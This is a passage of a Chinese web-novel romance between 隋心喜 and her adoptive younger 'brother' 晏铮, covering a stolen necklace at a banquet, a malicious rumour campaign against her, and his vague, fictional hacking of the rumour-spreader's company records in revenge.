他后退一步,单膝跪在了隋心喜面前。 “今天中午是你先问的我,现在换我问你”,他举起戒指,目光灼灼地锁住她的眼睛,“隋心喜,你愿意嫁给我吗?让我用一辈子来证明,弟弟也能赢姐姐一次。” 隋心喜看着跪在眼前的男人,看着他手上戴着自己送的戒指,看着他眼中毫不掩饰的爱意和期待,看着他精心布置的一切。 她的心口被暖流和幸福填满,眼眶发热,“我愿意。一人一次求婚,这下扯平了。” 掌声和欢呼声瞬间爆发出来,庞夏蕊笑着抹眼角,隋涛欣慰地点头。 晏铮也笑了,那笑容像拨云见日,灿烂得耀眼。 他无比珍重地将钻戒套进隋心喜的指尖,然后站起身,紧紧地将她拥入怀中。 他长长地舒了一口气,在她耳边低语,“嗯,扯平了。”(全文完) 20-30 第21章 城中豪华酒店的天际宴会厅里,隋心喜扯了扯身上的小礼服裙,不太习惯这种场合。 她是代表富邦来的。今晚说是科技行业的社交宴会,其实就是大家端着酒来回溜达,说些场面话。 她手里也捏了个酒杯,里面还剩个底,冰早就化没了,喝起来有点温吞吞的甜水味。 她脸上挂着笑,笑肌有点僵,听着对面一个穿丝绒西装的男人,侃侃而谈他们公司最新的大数据模型。 她时不时点头,嗯两声,眼神却忍不住往地上瞟。 刚才和几个同行寒暄,肩膀不小心被人碰了一下,脖子后面轻微的坠感就没了。 起初她没在意,以为是头发勾到了耳环。 等她走到安静点的角落,抬手一摸脖子,才发现那条坠着小小一粒不规则的银豆子项链,消失了。 她越来越焦躁,到后面也不想再听丝绒西装说什么。她胡乱点了下头,说了句“抱歉失陪”,转身就往刚才站过的地方走。 她低着头,眼睛像探照灯一样,扫过脚下深灰色的地毯。 可吊坠太小,又和地毯一个颜色,实在不好找。 香槟塔旁边没有,长条餐桌底下也没有。她有点急了,顾不得形态就蹲下去,膝盖蹭着地毯,查看沙发底下。 旁边有人投来诧异的目光,还有人在窃窃私语。隋心喜全当没看见。 其实,那条链子很普通,链坠估计就是个不值钱的碎银子打磨的。 可是,那是晏铮在高中时候送的。他说,那是他帮人打游戏攒了点钱买的生日礼物。 就在她想着,有没有可能掉到外面走廊或者洗手间的时候,她瞥到了落地玻璃前面,站了一个穿着亮片长裙的中年女人。 她端着一杯红酒,正跟旁边一个男人说笑。灯光下,女人脖子上一道细细的银光闪了一下—— 那链子跟她丢的一模一样! 隋心喜心跳加速,连忙过去,急切道:“对不起,打扰一下!” 女人不悦地转过头,上下打量隋心喜,有点不耐烦,“什么事?” 隋心喜盯着女人脖子上的项链,“这位女士,不好意思,我刚刚丢了条项链,跟您戴的这条看起来很像。请问您是从哪儿……” 女人下意识地抬手护了一下自己的项链,眼神变得警惕,又带着点鄙夷。 她嗤笑一声,透着股居高临下的味道,“小姑娘,饭可以乱吃,话可不能乱说。这项链是我的,怎么,你看上了?” “不不,我不是那个意思!”隋心喜急忙摆手,脸也红了,“我是真的丢了一条一模一样的,就在这宴会厅里,我找了半天了!您这条……您确定是自己带来的吗?有没有可能在哪里捡……” “捡?!”女人拔高了声音,像被踩了尾巴的猫,“你什么意思?说我捡你的东西?” 周围有几道视线投射过来,带着看热闹的兴味。女人的男伴也往前站了半步,眼神不善地看着隋心喜。 隋心喜被噎得说不出话,窘迫得恨不得找个地缝钻进去,但为了项链,她还是硬着头皮解释:“女士,您别误会。我就是着急,那条项链对我很重要,是我弟弟送我的礼物。它不值什么钱的,就是个心意。您看仔细点,您这条真的是您的吗?或者,您有没有见过一条类似的掉在地上?” 女人像是听到了天大的笑话,夸张地捂嘴笑起来,“哎哟喂,我说小姑娘,你是真不识货,还是在这儿跟我演苦情戏呢?” 她用手指弹了弹自己项链上的银豆子,讥讽道:“睁大你的眼睛看清楚!这链子可不是什么地摊货,是意大利手工的铂金链!还有这个坠子,看着普通,实际叫‘原始矿珀’,天然形成的,这么一小点就要十几万!” “你说你弟弟送你十几万的项链当礼物?还戴着来这儿弄丢了?你编故事也编得像样点!” 隋心喜脑子里嗡嗡作响,难以置信地盯着那颗在灯光下折射出内敛光泽的“银豆子”。 如果这就是她弄丢的那条,那晏铮高中时候,哪里来的十几万? 这女人说的话,究竟是真的,还是故意在羞辱她? 隋心喜一时也拿不出更有力的证据。她看着女人得意的笑脸,再看看周围那些或好奇或看笑话的目光,喉咙里干涩得发紧。 “对不起……打扰了”,隋心喜挤出这几个字,声音低得几乎听不见。 晚宴后面是怎么熬过去的,隋心喜不记得了。 她胡乱找了个借口提前离场。走出那灯火辉煌的酒店时,她被风一吹,才觉得脸上冰凉一片。 她赶紧擦掉泪花,又暗骂自己真是没用。 晏铮送她的东西,怎么就丢了呢? 她还记得晏铮高考结束那会,成绩还没出来,他就送了这条项链给她作为生日礼物。 他祝她生日快乐,还让她不要嫌弃。 她笑着揉他脑袋,说他乱花钱。 现在,项链已经找不回来了。该怎么跟晏铮说呢?他会不会失望?隋心喜心里沉甸甸的。 —————————— 隋心喜推开家门,一股暖意和食物的香气扑面而来,跟外面冰冷的夜色截然不同。 晏铮盘腿坐在沙发上,对着他的笔记本电脑敲敲打打。茶几上放着一碗冒着热气的汤,旁边还有一小碟洗好的水果。 “回来了?”晏铮抬起头,对着隋心喜笑笑:“姐,你脸色怎么这么差?晚宴是不是没吃饱,我给你热了汤,喝点暖暖。” 隋心喜看着眼前这张年轻帅气的脸,心里的难受劲儿又涌上来,堵在嗓子眼。 她疲惫地脱掉高跟鞋,瘫坐上沙发,长长叹了口气,“嗯,累死了。” 晏铮立刻合上笔记本,仔细看了看她的脸,“怎么了?受委屈了?谁惹你了?告诉我。” 看着他这么紧张自己,隋心喜心里更酸楚了。 她低着头,憋了半天,才艰难地开口:“晏铮,对不起啊……你高中送我的那条银链子,我平时都保存得好好地,今天心血来潮想在晚宴上戴一下,却不知道掉哪儿了。我找了很久都没找到。” 晏铮并没有露出失望或者责怪的表情。他只是奇怪地“咦”了一声,起身回房,不久后又出来了。 他对着隋心喜展开手心,问:“你是说这个吗?” 隋心喜的视线聚焦在他手上,那正是她以为丢了的项链。 她立即坐直身体,一把抓过来,仔细翻看着,“这……这怎么……它不是在……” “你今天出门想戴,却顺手放茶几上了吧?”晏铮看着她,有点哭笑不得的无奈,“我下午回来就看见了,怕你再不小心,就帮你收好了。刚看你回来情绪不对,我都忘了这茬。原来你是因为这个啊?” 隋心喜捏着失而复得的项链,感觉像是坐了一趟过山车。 除了喜悦,她的那些沉重情绪,被巨大的怪异感取代了。 她皱着眉,努力回忆:“可是,我明明记得……” 晏铮却不由分说地打断她:“你啊,肯定是最近太忙,记岔了。晚宴那种地方人很多吧?你一紧张,以为自己戴出去了,就开始胡思乱想,找不着当然着急上火。现在好了,东西在家呢,虚惊一场。” 他推了推茶几上的汤碗,“找到了就别难过了。喝点热汤吧,都快凉了。” 也许,真的是自己记错了?昨晚睡得晚,所以今天也迷迷糊糊的。 隋心喜渐渐被晏铮说服了,心头的庆幸更是压倒了困惑。 她今晚差点冤枉了别人,还好没闹出更大的误会。 她吐了口气,将项链小心地收好,再端碗喝汤。 温热的汤汁顺着喉咙滑下去,确实驱散了不少疲惫。 晏铮则重新打开笔记本,又开始忙他的事情。 但他的嘴角,在隋心喜看不见的角度,微微地勾了勾。 —————————— 隋心喜并不知道,晏铮在高中时候已经开始赚钱。 虽然爸妈留下的保险金和财产够他吃饭上学,但他被那群如狼似虎的亲戚围怕了,老早就想自己手里有点东西,能捏得住的。 他从高一开始住校,周末回家写完作业,就一头扎进了游戏里。 那会儿,他打游戏是真狠,在天梯上刷刷地往上蹿,名字挂在排行榜前面。 有天打排位,队里有个坑货,把他气得够呛。他打完直接在公屏里骂,说这种水平的号,不如找他代打上分,省得出来祸害人。 本来只是气话,没想到私聊窗口很快亮了。一个大哥问:“真能代打?多少钱一星?” 晏铮愣了一下,手指头在键盘上敲了个数,他自己都觉得有点高。 对方没还价,直接说:“行,先打十星看看。” 晏铮熬了两个周末,眼睛熬红了,十星搞定。 虚拟币到手,转手一卖,揣进口袋里的票子,比他一个月生活费都多。 从那时开始,他的周末和寒暑假,就没闲着。 他一单一单地接,打累了睡,睡醒了打。手指头动得快,钱来得也快。 后来,他那游戏ID在几个热门区都打出名了,“Yan神”这名号有人认。 找他的人多了,不光代打上分,还有人专门找他“包月”,就是长期给老板的号打维护、打活动、刷装备。 他的价码一下子上去了,几千块一个月都是家常便饭。 有时候运气好,他还会碰上那种特别有钱又懒的大老板,出手就是几万块。 到了高二下学期,直播平台火起来了。 晏铮琢磨着,光闷头打给人看,不如放开了给人看。 于是,他开了直播。 他那会儿模样已经长开了,个子高,脸盘端正,尤其打游戏的时候,有股专注又有点不耐烦的劲儿,很招小姑娘喜欢。 而且他技术摆着那儿,说话也不端着,该骂娘骂娘,该损队友损队友,反而显得真实。 他的直播间人气噌噌涨,打赏的钱有时候比包月的进账还猛。 他脑子活络,线上玩得转,线下也没闲着。 他在游戏里认识了不少朋友,水平参差不齐。 他牵头搞了个小公会。他负责在外面揽活,接了单子,分给公会里有时间有能力的兄弟去打,他在中间抽个头儿。 公会人有十几二十个,活儿一直没断过。他自己打得少了,主要精力放在管人、派单、算账上。 钱,就这么越滚越多。 至于那条项链,是他趁着隋心喜生日前,特意托朋友从外国带回来的。 对方报了个数,要十几万。他眼皮都没眨一下,直接转账过去,也就花了他不到三个月的进账。 当然,他怕隋心喜不肯收,还是特意选了一个简陋的小盒子装着,然后告诉她只是几百块钱的小玩意,仿大牌那种。 隋心喜犹豫了一下,最终开心地收下。 他看着她的笑容,心里也很得意,比赚了十几万还舒坦。 她就该戴点好东西。 第22章 锅里的汤顶开了锅盖,溢出来一点,在灶台上冒起白烟。 晏铮回过神来,赶紧伸手关小了火。 其实,今天下午他也接到了储嘉骐的电话,叫他去晚宴上露个脸,说以后对公司融资有好处。 晏铮一口回绝了,因为他还没想好怎么跟隋心喜摊牌公司的事。 他总觉得,应该等维恒再做出点实实在在的东西,他再告诉她一切。到那时,他就不再是她眼里需要照顾的“弟弟”了。 汤熬得差不多了,香味浓郁。 晏铮刚把火熄灭,旁边的手机就震动起来,是储嘉骐发来的视频。 晏铮有点疑惑地按下播放键。镜头扫过晚宴大厅里衣香鬓影的人群,逐渐聚焦在一个熟悉的身影上。 隋心喜今天穿了条挺好看的裙子,此刻却没有平时的从容大方。 她正和一个下巴抬得老高的女人对峙着。对方脖子上赫然挂着一条项链,分明就是晏铮送给隋心喜的那条。 随着模糊的对话片段,晏铮的眉头越来越紧。 在视频停止之后,储嘉骐的语音信息跟着来了:“看见没?你那姐姐丢了什么东西,满场找呢,急得快哭了。喏,那个女的,叫木万妮,暴发户似的。你姐过去和她说话,想把东西要回来,结果被欺负了。” 晏铮整张俊脸都冷了下来,那双总是对着隋心喜含笑的眼睛里,此刻翻涌起怒火和戾气。 他扯掉围裙,随手甩在料理台上,回房换了衣服,急匆匆地就出了门。 到了酒店,宴会还没结束,但气氛已经有些松散。 站在门口的储嘉骐显然一直在等他,看到他进来,立刻迎了上来。 储嘉骐带着他先去监控室,边走边说:“你姐刚走不久。我跟酒店打过招呼了,监控调出来,拍得很清楚。就是那木万妮,趁隋心喜和别人碰杯的时候,随手就把掉在椅子旁边的项链给顺走了。动作快得跟职业扒手似的,监控录像我也拷了一份。” 晏铮一言不发地看完了整个监控。他的眼中寒光闪烁,像淬了冰。 回到宴会厅的时候,木万妮正被几个人围着。她手里端着香槟,笑得花枝乱颤,脖子上那条偷来的项链在她的晃动下闪闪发光。 晏铮二话不说,挤开人群,站到她面前。 他个子高,阴沉着脸俯视着木万妮,强大的压迫感让周围的谈笑声瞬间小了下去。 木万妮被这突然冒出来的年轻人吓了一跳,特别不爽被打断:“你谁啊?干嘛呢?” 晏铮一个字都懒得说。 他掏出手机,直接把监控录像里的一张截图,怼到木万妮眼前。 木万妮看到照片,脸上的血色一下褪得干净。 她下意识地想伸手去抢手机,“你是谁啊?这照片是合成的,我警告你别乱说话!” 晏铮冷笑一声,举起拷了监控录像的U盘,“要不要现在找个地方放出来,让在场的各位都看看木总的风采?” 木万妮的目光扫过周围一圈不明所以的宾客们,感觉自己像个被扒光了示众的小丑。 她衡量着利弊,终于还是不甘心地解下脖子上的项链,扔给晏铮。 晏铮捏紧了那条失而复得的项链,上面还带着木万妮令人作呕的香水味。 他嫌恶地皱了皱眉,再吐出一句:“你必须找隋心喜道歉。” “你……”木万妮气得浑身发抖,但又被晏铮的眼神慑住了。她看得出来,这个年轻人不是虚张声势。 “知道了”,她从牙缝里挤出三个字,眼神怨毒。 晏铮没再理会她,转身就走,他得赶在隋心喜前先到家。 围观的人群也四散开了。木万妮看着晏铮的背影,猛地灌了一口酒,心里的火却越烧越旺。 道歉?做梦!她木万妮什么时候吃过这种亏? 她掏出手机,拨通了一个号码。 电话很快接通了,那边传来一个年轻男人略显恭敬的声音:“木总?” 木万妮阴冷道:“小赵,还在会场吗?” “在的,木总,有什么吩咐?” “听好了”,木万妮的声音压得更低,语速飞快,“刚才在会场过来找我说话的女人,是富邦科技的职员隋心喜,你给我放消息出去,就说她是被包养的金丝雀。” 小赵只是个跟班跑腿的,传谣也得有点料才行。他迟疑道:“木总……这个具体要说点啥?她的情况我不太清楚啊……” 木万妮不耐烦地嗤了一声:“蠢!这还用我教你,编都不会编?就说她今晚找的那条项链,根本不是她自己买的,也不是她所谓的弟弟送的,那是她金主的礼物!她不小心弄丢了,急得满场找,如果找不到,晚上回去交不了差。” “什么叫交不了差?”小赵还是有点懵。 木万妮翻了个白眼,“你是木头脑袋啊?她的金主是能送她十几万链子的人,能是好伺候的吗?你就暗示,她丢了礼物,晚上回去就得被那个老变态性虐待!明白没有?” 电话那头沉默了半晌,小赵似乎被这赤裸裸的恶意冲击到了,但还是唯唯诺诺地应道:“明白了,我就找机会跟几个平时爱八卦的说说。” “机灵点,别让人知道是我们这边放出的风声!”木万妮恶狠狠地叮嘱了一句,挂断了电话。 她长长吐出一口浊气,脸上露出扭曲的快意。 —————————— 腊月二十九下午,天气有点阴冷。 晏铮左手提着一个装满了新鲜水果的大礼盒,右手拎着塞满了点心的大袋子。 他站在隋心喜的父母家门口,腾出一只手按下门铃。 门很快开了,隋心喜见是晏铮,脸上带笑,赶忙侧身让他进来,“怎么买这么多东西?快进来快进来,外面冷。” 她伸手想去接他手上的袋子,他却不让,“我拿就行,有点沉。” 他熟门熟路地进了屋子,将东西放到茶几上,“只是给叔叔阿姨买了点年货,还有你喜欢吃的那个老字号点心。” 隋心喜的妈妈庞夏蕊听到动静,也从厨房里探出头。 “小铮来啦!”庞夏蕊满脸笑容地走出来,“哎哟,你这孩子,又乱花钱!自己一个人在外面上学多不容易,留着点钱自己花多好。” “阿姨,过年嘛应该的。我这学期实习也攒了点生活费,够用”,晏铮过去拿走庞夏蕊手里的抹布,“阿姨您歇会儿,有什么要收拾的我帮您弄弄。” “哎不用不用,你坐,心喜,给小铮倒杯茶”,庞夏蕊推辞着,但还是拗不过晏铮。 她看着晏铮动作利落地去擦餐桌,眼神不由地在他和女儿身上转了两圈。 隋心喜已经泡好了一杯热茶,放在茶几上。 “晏铮,别忙活了,坐会儿喝点水”,她招呼着,又转向厨房,“妈,还有什么菜要弄,我来帮你。” “快弄完了,你陪小铮说说话”,庞夏蕊的声音从厨房传来。 晏铮擦完桌子,很自然地走到隋心喜身边坐下。 他侧过身子靠近她:“姐,你不是说颈椎不舒服吗?我认识个朋友会推拿,手法特别好,年后带你去试试?” 隋心喜互动了一下肩颈,“好多了,没事,就是那两天对着电脑久了点。” “还是要多注意,你总加班。我给你订了个护颈仪,应该今天就能到,待会拿给你。” 隋心喜愣了一下,有点无奈,“你买这些干嘛?我用不着……” “怎么用不着?你老低着头看电脑看手机”,晏铮打断她,但脸上还是那种无害的笑,“东西都要到了,而且过年快递停发,退不了。” 庞夏蕊端着两盘刚炒好的菜走出来,正好听见后半句。 她笑眯眯地问:“小铮给心喜买东西啦?” “嗯,姐颈椎不舒服,我给她订了个小仪器”,晏铮立刻换上更温和的语气回答庞夏蕊。 “哎呀你这孩子,就是细心体贴”,庞夏蕊放下菜,看着两人,眼神里多了点难以捉摸的东西,“心喜啊,你看小铮多惦记你。快谢谢人家。” 隋心喜只好顺着妈妈道谢。她觉得晏铮有点小题大做了,但又有点暖,毕竟是他的心意。 这时,隋心喜的爸爸隋涛原也从书房出来了,几人很快落座吃饭。 桌上摆满了丰盛的菜肴,气氛热闹。 晏铮坐在隋心喜旁边,他很勤快,不断给她夹菜。 “多吃点这个排骨,阿姨做的特别入味。” “尝尝这个虾,新鲜。” “鱼眼睛这块嫩,给你。” 他筷子几乎没停过,目标明确地落在隋心喜的碗里。 隋心喜看着自己堆成小山似的碗,哭笑不得,只得伸手挡住晏铮又一次伸过来的筷子,“够了够了,你吃,我自己会夹。” 隋涛原则乐呵呵地跟晏铮聊着学业和实习的事儿,庞夏蕊没怎么插话。 她有着作为一个母亲的直觉,总感觉两个年轻人的相处不太对劲。 晏铮对心喜的关心,似乎有点太多了?不像弟弟对姐姐,倒像是…… 她的心里咯噔一下,赶紧把这个念头压下去,招呼大家多吃菜。 饭吃得差不多的时候,外面远远传来零星的鞭炮声。 晏铮放下筷子,拿起汤勺要给隋心喜盛汤,“姐,再喝点汤暖暖。” “我真喝不下了”,隋心喜连忙捂住自己的碗,“你自己喝吧。” “行”,晏铮放下汤勺,“那我和你一起收拾。” 庞夏蕊看着晏铮和女儿一起收拾好碗筷又走进厨房,背影靠得有点近,心里那种怪异的感觉更浓了。 好不容易等到晏铮回了自己家,庞夏蕊脸上的笑容淡了下去。 她看了一眼在看电视的丈夫,对隋心喜说:“你来一下,妈跟你说点事。” 隋心喜跟着庞夏蕊走进房间,拉过椅子坐下,问:“妈,什么事啊?” 庞夏蕊盯着隋心喜,开门见山:“你跟妈说实话,你跟小铮……你们俩,是不是在处对象?” 第23章 隋心喜完全没料到妈妈会问这个。 她像被什么东西戳了一下,心口突突地跳起来,脸上也有点发烫。 “妈,你说什么呢?”她声音不自觉地拔高了,带着明显的慌乱和羞窘,“晏铮是我弟,从小一起长大的弟弟!我们怎么可能……哎呀妈,你想哪儿去了!” 庞夏蕊盯着女儿的反应,看着她涨红的脸和躲闪的眼神,心里的疑虑并没有消散。 她追问道:“真的没有?我看他刚才吃饭,一个劲儿给你夹菜,那眼神可不是看姐姐的眼神。他说话做事,对你照顾得也太仔细了点吧?这都超出姐弟情分了。” “妈!真没有!”隋心喜更急了,心跳得像要蹦出来。 她深吸一口气,试图用更理性的语气解释,“晏铮他就是这样的性格,你还不知道嘛?他从小在我们家长大,把我们当亲人。他确实依赖我,也就是习惯对我好。再说了,他比我小那么多,还是个学生呢,你别瞎想!我们就是姐弟,永远都是最亲的亲人!” 她斩钉截铁地一口气说完,像是说给妈妈听,也像是说给自己听,试图压下心底那丝被点破的惶惑。 庞夏蕊听到女儿那句“亲人”说得格外用力,紧绷的心弦稍微松了一点。 她长长吁了口气,拍了拍胸口,“没有就好,吓妈一跳。我就说嘛,你比他大那么多,不合适不合适。小铮是个好孩子没错,但你们两个一起长大,跟亲姐弟一样。如果真走在一起,就太不像话了。” 听到妈妈明确说出不同意的话,隋心喜的心一点点往下沉。 她强撑着,盯着自己的手指,没有说话。 庞夏蕊没注意到女儿情绪的变化,或者说,女儿的沉默被她理解为赞同。 她的注意力转到了另一个更让她操心的话题上,“心喜啊,既然你跟小铮不是那种关系,那你也该好好考虑考虑自己的终身大事了。你看你,过了年就二十九,虚岁都三十了!你那些同学朋友,有的孩子都上幼儿园了,就你,连个男朋友的影子都没有。” 隋心喜手指无意识地绞着衣角。窗外又传来几声鞭炮响。 “妈跟你讲,有个弟弟在身边照顾你,是挺好。但弟弟再好,他能陪你一辈子吗?他将来肯定要结婚成家,有自己的老婆孩子,重心就放到他自己的小家去了。那时候你怎么办,还不是得靠自己?” 她看着女儿低垂的脑袋,加重了语气,“你看你现在,事业是还行。可女人啊,这么拖着,年纪越大,越不容易找好的。你看你王阿姨家的女儿,比你小一岁,今年二胎都生了;李阿姨家的女婿,条件多好。你总不能让爸妈一直为你操心吧?你自己得上点心啊!” 隋心喜依旧沉默着。房间里很暖和,但她觉得手脚有点凉。 妈妈的每句话都像小锤子敲在她心上,她知道妈妈说得有道理,是社会常态的道理。 她抬起头,看到妈妈焦虑又期待的眼神,心里堵得慌。 那些她想要反驳的话,那些对晏铮无法言说的心思,那些她对纯粹“归宿”的想法,她都统统说不出口。 她努力扯了扯嘴角,点点头,“我知道了,妈。我会留意的。” 庞夏蕊听到这句话,像是得到了一个重要的承诺,语调也轻快起来,“这就对了嘛!妈知道你要求高,但条件差不多就行,人品好是关键。咱也不图大富大贵,安安稳稳过日子最重要……” 她开始絮絮叨叨地说起哪个朋友家的儿子可能合适。 隋心喜听着妈妈的声音在耳边响着,那些关于相亲对象的建议,却一个字都没听进去。 她知道,自己刚刚答应的,不仅仅是“找男朋友”,更是亲手关上了一扇门。 一扇她甚至还没勇气去推开看看里面是什么的门。 —————————— 与此同时,晏铮走到自家沙发边坐下,掏出烟盒,在里面摸索了一圈,只摸到一点散落的烟丝。 他烦躁地捏扁了空烟盒,丢进旁边堆满烟头的烟灰缸里。 刚才在隋心喜家吃饭的情景又浮现在眼前。 饭桌上,庞阿姨的目光几次在他和隋心喜之间来回,笑容也有点微妙。 他知道她在掂量,在评估,在无声地划清界限——这小子,终究是个弟弟,和自家闺女扯上别的关系?不合适。 晏铮只觉得胸口堵着一团闷气,他需要尼古丁来压一压这股无名火。 他站起身,在屋子里转了一圈,把几个可能放烟的地方都翻遍了,一根存货都没有。 他骂了一声,抓起外套穿上,下楼去买。 夜晚的老小区很安静。路灯灯光昏黄,勉强照亮坑洼的水泥路。 夜风带着寒意,刮在脸上有点刺。晏铮把拉链拉到顶,双手插在衣兜里,快步朝小区门口的便利店走去。 结账的时候,自动门又开了。 一个熟悉的女声响起:“老板,你家抽纸放哪里了?” 晏铮转头,见隋心喜裹着一件厚外套也来了。 她的头发随意地挽着,显然是临时被家里打发出来买东西的。 隋心喜也看到了他。她走过来打了声招呼,看着他手边的烟,蹙了眉,但没说什么。 两人付了钱,一起走出便利店。冷风扑面而来。 “抽烟对身体不好”,隋心喜终于还是忍不住,小声说了一句,带着习惯性的姐姐关切。 “嗯,知道”,晏铮淡淡地应着,拆开烟盒,熟练地抖出一支叼在嘴里,又摸出打火机。 他深吸了一口,辛辣的烟雾涌入肺腑,稍微压下了点胸口的烦躁。 他缓缓吐出烟圈,白色的烟雾在昏黄的灯光下飘散开来。 “一起走走?”晏铮侧头看她,回去的路只有一条。 隋心喜点点头,和他并肩走在小区路上。 两人一时无话,只有路灯把影子拉长又缩短。 隋心喜心中难受,直觉此时应该说点什么。她清了清嗓子,问:“你实习快结束了吧?” 晏铮夹着烟的手指顿了一下,含糊地应了一声。 “那……你是不是该搬回学校宿舍住了?你都快毕业了,应该多和同学相处,而且住宿舍方便准备论文答辩什么的。” 她努力让自己的语气听起来自然,像姐姐关心弟弟的学业安排。可她心里清楚,这更像是在赶人。 果不其然,这句话像颗火星,点燃了晏铮从饭桌憋到现在的所有郁结。 他停下脚步,转身面对隋心喜,眼神锐利:“还没过完年,你就这么着急赶我走?” 隋心喜被他看得心头发慌,下意识地后退了一步,拉开一点距离,“我是为你考虑。你还没毕业,总得回学校。” “为我考虑?”晏铮向前逼近一步,声音压抑着怒火,“隋心喜,你到底把我当什么?是永远长不大的弟弟对吗?” 他咄咄逼人的气势让隋心喜慌了神。她不知道该怎么解释自己混乱的心情,以及来自妈妈的压力。 她本能地又往后退了一步,只想逃离这让她心跳加速的对峙,根本没注意脚下。 老小区的路年久失修,一块松动的地砖边缘翘起,她穿的鞋跟正好绊在凸起的边缘上。 她惊呼一声,身体瞬间失去平衡,整个人不受控制地向旁边歪倒。 晏铮立刻扔掉手里的烟,条件反射般地上前。 下一秒,隋心喜整个人就被他稳稳地打横抱了起来。 双脚骤然离地,隋心喜吓得搂住了晏铮的脖子,整个人蜷缩在他怀里。 一股混合着淡淡烟草味和年轻男性的气息瞬间笼罩了她,她的心脏在胸腔里疯狂地擂动着。 晏铮低下头,看着怀里的人。路灯的光线勾勒出她微张的嘴唇和睁大的眼睛。 他抱着她,清晰地感受到她的重量,她的柔软,以及她身体传递过来的细微战栗。 刚才的怒火,完全被更汹涌和原始的情绪取代了。 他喉结滑动,一字一句地告诉她:“隋心喜,你看清楚,我不是十年前那个站在你家门口等你开门、需要你保护的小男孩了。我现在是个男人!我能赚很多的钱,我能处理麻烦,我能保护我自己,也能抱得动你。我不是你弟弟!你明白吗?我不是!” 隋心喜当然明白。 从他不动声色地入侵她的生活开始,她心里那个“弟弟”的形象,已经渐渐被眼前这个充满侵略性和占有欲的真实男人所取代。 她无法再把他当弟弟看。 这念头在她心里盘踞已久,只是被她拼命压制。 此刻,被他这样紧紧地抱在怀里,听着他赤裸裸的宣告,她只觉得全身的血液都涌上了脸颊。 她想回应,想说“我知道”,想说“我也没把你当弟弟了”,巨大的冲击却让她一个字也说不出来。 晏铮看着那近在咫尺的脸,高度紧张的神经却误读了她的沉默。 他是不是太冲动了?这样的语言和行为太过界了?她吓到了? 这些念头像一盆冷水浇下来,他眼底翻涌的激烈情绪被懊悔所取代了。 他将她放了下来,让她双脚重新踩在坚实的地面上,沮丧道:“对不起,我不该这样。你脚怎么样?能走吗?” 他一边问,一边低头想去查看她崴到的脚踝,可又在快要碰到她时顿住了,似乎怕再次唐突。 他和刚才那个宣告自己是个男人的强势姿态判若两人,又变回了平时的奶狗模样。 离开了晏铮的怀抱,周围的冷空气重新涌来,隋心喜也清醒了许多。 她站稳身体,活动了一下脚踝。还好,只是稍微崴了一下,有点疼,但骨头没事。 “没事”,她深吸一口气,努力平复狂乱的心跳,声音还有些不稳,“能走。” 晏铮闻言,松了口气,“我扶你,慢点回去。” 隋心喜没有拒绝。 她借着晏铮手臂支撑的力量,低着头,慢慢地挪动脚步。 刚才那电光火石间发生的一切,还在她脑子里嗡嗡作响,她甚至不敢看他。 晏铮也没再说话,他懊恼自己的冲动,又压抑不住心底那份被她彻底搅乱的悸动。 他猜不透她的真实想法,只有路灯把他俩依偎在一起的身影拉得很长。 第24章 晏铮躺在床上,翻了个身,却怎么也睡不着。 他喉咙有点干,半坐起来去摸床头柜上的水杯,却发现是空的。 黑暗里,手机屏幕忽然亮了,是储嘉骐连着发来了几条微信。 【睡了没?】 【出事了,你看链接!】 【木万妮居然散播你姐谣言,帖子、群聊都有】 一看到隋心喜的名字,晏铮立刻坐起来。 他点开其中一个链接,那是一个八卦论坛的帖子,标题像刀子一样扎眼:【富邦科技隋姓高管,竟是某大佬圈养金丝雀?项链疑云,深夜寻找牵出特殊惩罚!】 帖子的内容添油加醋,下面评论更是不堪入目,有人直接点名隋心喜,有人猜测金主身份,有人用语极其肮脏。 晏铮的呼吸一下子变粗了,太阳穴突突地跳。 他捏紧了手机,点开储嘉骐的另一条语音。 【我这边初步查了下来源,是个新注册的小号首发。IP做了多层跳转,但最终关联到一个叫赵富的手机,这人是木万妮的跟班。现在扩散很快,我清理一下?】 晏铮直接拨通了储嘉骐的电话,“储哥,你调动你那边能调的所有资源,务必在天亮之前,让这些东西在网上彻底消失。” 储嘉骐犹豫了一下,“我只能说尽量,源头账户还在活动,传播节点太多,完全堵死有难度,尤其是一些私人圈子的截图转发……” 晏铮打断他,“你那边清理公众平台是第一优先级,特别是先掐断富邦内部的传播。源头和后续反击,我来处理。” “行吧,我亲自盯着清理进度”,储嘉骐顿了顿,又问:“你还在老家,计划怎么处理木万妮?” 晏铮没有多想,掀开被子跳下床,“我得马上回江市,大年三十的没有高铁票就包个车回去。” —————————— 天刚破晓,一辆网约车就停在了老家的小区门口。这是晏铮花了大价钱搞来的。 司机帮着放好行李,车子驶上空旷的环线。 晏铮靠在后座,迅速打开笔记本电脑连上手机热点。 他点开软件窗口,手指在键盘上快速敲击,白色的代码字符在黑色背景上如瀑布滚落。 他在搜木万妮。 他原本以为,上次查到项链的事,就能让她老实。 但是,他低估了她的恶毒和下作。现在既然她要来阴的,就别怪他掀她的老底。 他用储嘉骐提供的木万妮基本信息做起点,绕过几个不太坚固的商用数据库防火墙,调取了木万妮在天骅集团的加密人事档案。 他锁定了她几年前负责过的一个大型设备采购项目,最终审计报告上有个备注:部分物料损耗异常,后续处理完毕(责任人已离职)。 晏铮的眼神锁定在备注这行字上,继续输入指令。 他调取了天骅内部通讯的部分存档,大量的邮件碎片和内部聊天记录被筛选出来。 他用关键词过滤掉无关信息,重要部分逐渐浮现。 木万妮频繁联系过一个叫邱明的仓库管理员,通过邮件指示他紧急处理一批特定编号的设备配件,要求将其移出常规仓库。 最后一次邮件后,审计问题爆发。 最终内部报告认定是邱明严重失职。他私自违规转移物料导致丢失,要负全责。 邱明虽然被开除了,但财务记录显示,他随后收到一笔远高于法定赔偿金的汇款。 晏铮继续搜寻,又找到一份邱明签署的保密协议:他承认所有责任,放弃追诉,并对公司及所有相关方保密。 证据链已经很清楚了。木万妮利用职权侵占或盗窃公司财产,事后找个无权无势的小职员顶缸脱罪。 这就是她光鲜履历下的第一个烂疮。 紧接着,晏铮又破解了木万妮的通话记录,发现她和一个罗姓地产老总联系过于频繁。 那些通话时间和长度,都显示两人并非简单的商业伙伴关系。 而这位罗总,是已婚的中年男人,老婆姓王,娘家背景硬,本人是出了名的暴脾气。 晏铮冷笑一声,新建一封匿名邮件,把查到的几张关键照片打包压缩。 邮件正文只有一句话,【罗太太:祝您新年快乐,附赠您丈夫与天骅集团木万妮女士长期深入交流的证据。】 做完这些,他没有着急点击发送按钮,而是关了电脑,闭目养神。 耗子要慢慢地逗,才是折磨。 网约车到达江市的时候,已经是晚上。 晏铮吩咐司机直奔木万妮住的高档小区,地址他早就背熟了。 他站在木万妮的家门前,持续地按下了门铃。 